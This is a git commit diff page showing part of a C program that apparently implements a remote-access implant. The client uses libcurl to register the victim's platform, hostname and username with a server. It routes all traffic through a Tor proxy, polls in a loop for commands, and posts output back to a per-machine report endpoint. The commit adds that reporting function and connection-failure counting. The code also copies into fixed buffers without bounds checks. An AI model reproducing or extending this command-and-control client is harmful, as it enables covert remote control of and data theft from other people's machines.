add send_output, add connection fail handling

master
pupuupup 5 years ago
parent 76677ecd73
commit 8cf9e9a044

@ -20,7 +20,7 @@ char *HOSTNAME;
char *USERNAME; char *USERNAME;
const char *URL; const char *URL;
const char *URL_TOR; const char *URL_TOR;
int UPDATE_FAILED; int FAILED_COUNT;
bool IDLE; bool IDLE;
int IDLE_TIME; int IDLE_TIME;
int INTERVAL; int INTERVAL;
@ -50,6 +50,17 @@ size_t write_data(void *ptr, size_t size, size_t nmemb, struct url_data *data) {
return size * nmemb; return size * nmemb;
} }
void succeeded_request()
{
FAILED_COUNT = 0;
}
void failed_request(const char *error)
{
FAILED_COUNT++;
fprintf(stdout,"%s\nConsecutive failed connections: %d\n\n",error,FAILED_COUNT);
}
char* get_unique_id() char* get_unique_id()
{ {
if(!(UID!= NULL && UID[0] == '\0')) return UID; if(!(UID!= NULL && UID[0] == '\0')) return UID;
@ -98,15 +109,14 @@ char* get_request(char *path)
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &data); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &data);
res = curl_easy_perform(curl); res = curl_easy_perform(curl);
if(res != CURLE_OK) if(res != CURLE_OK) failed_request(curl_easy_strerror(res));
fprintf(stderr, "curl_easy_perform() failed: %s\n", else succeeded_request();
curl_easy_strerror(res));
curl_easy_cleanup(curl); curl_easy_cleanup(curl);
} }
return data.data; return data.data;
} }
char* post_request(char *path, char *post_data) char* post_request(char *path, char *post_data, bool json)
{ {
CURL *curl; CURL *curl;
CURLcode res; CURLcode res;
@ -119,28 +129,41 @@ char* post_request(char *path, char *post_data)
} }
curl = curl_easy_init(); curl = curl_easy_init();
if(curl) { if(curl) {
char url[BUFFER_SIZE]; char url[BUFFER_SIZE];
strcpy(url, URL); strcpy(url, URL);
strcat(url, path); strcat(url, path);
struct curl_slist *headers = NULL; struct curl_slist *headers = NULL;
headers = curl_slist_append(headers, "Accept: application/json"); if(json)
headers = curl_slist_append(headers, "Content-Type: application/json"); {
headers = curl_slist_append(headers, "charset: utf-8"); headers = curl_slist_append(headers, "Accept: application/json");
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); headers = curl_slist_append(headers, "Content-Type: application/json");
curl_easy_setopt(curl, CURLOPT_URL, url); headers = curl_slist_append(headers, "charset: utf-8");
curl_easy_setopt(curl, CURLOPT_PROXY, URL_TOR); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post_data); }
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data); curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &data); curl_easy_setopt(curl, CURLOPT_PROXY, URL_TOR);
res = curl_easy_perform(curl); curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post_data);
if(res != CURLE_OK) curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data);
fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_setopt(curl, CURLOPT_WRITEDATA, &data);
curl_easy_strerror(res)); res = curl_easy_perform(curl);
curl_easy_cleanup(curl); if(res != CURLE_OK) failed_request(curl_easy_strerror(res));
else succeeded_request();
curl_easy_cleanup(curl);
} }
return data.data; return data.data;
} }
char* send_output(char* output, bool newlines)
{
if(output!= NULL && output[0] == '\0') return "";
if(newlines) strcat(output,"\n\n");
char *path = malloc(BUFFER_SIZE);
char *post_data = malloc(BUFFER_SIZE);
sprintf(path, "/api/%s/report", get_unique_id());
sprintf(post_data,"output=%s",output);
return post_request(path, post_data, false);
}
char* say_hello() char* say_hello()
{ {
char *path = malloc(BUFFER_SIZE); char *path = malloc(BUFFER_SIZE);
@ -151,7 +174,7 @@ char* say_hello()
\"hostname\": \"%s\",\ \"hostname\": \"%s\",\
\"username\": \"%s\"}", \"username\": \"%s\"}",
PLATFORM,HOSTNAME,USERNAME); PLATFORM,HOSTNAME,USERNAME);
return post_request(path, post_data); return post_request(path, post_data, true);
} }
long get_time() long get_time()
@ -167,7 +190,7 @@ void setup()
PLATFORM = malloc(BUFFER_SIZE); PLATFORM = malloc(BUFFER_SIZE);
HOSTNAME = malloc(BUFFER_SIZE); HOSTNAME = malloc(BUFFER_SIZE);
USERNAME = malloc(BUFFER_SIZE); USERNAME = malloc(BUFFER_SIZE);
UPDATE_FAILED = 0; FAILED_COUNT = 0;
IDLE = true; IDLE = true;
IDLE_TIME = 60; IDLE_TIME = 60;
INTERVAL = 3; INTERVAL = 3;
@ -190,13 +213,15 @@ void setup()
void run() void run()
{ {
char *todo = malloc(BUFFER_SIZE); char *todo = malloc(BUFFER_SIZE);
char *output = malloc(BUFFER_SIZE);
while(1){ while(1){
todo = say_hello(); //TODO: handle error todo = say_hello(); //TODO: handle error
UPDATE_FAILED = 0; if(!(todo!= NULL && todo[0] == '\0'))
if(!(todo!= NULL && todo[0] == '\0') && strcmp(todo, UID) != 0)
{ {
IDLE = false; IDLE = false;
TIME_LAST_ACTIVE = get_time(); TIME_LAST_ACTIVE = get_time();
sprintf(output,"$ %s",todo);
send_output(output, true);
} }
else else
{ {

Loading…
Cancel
Save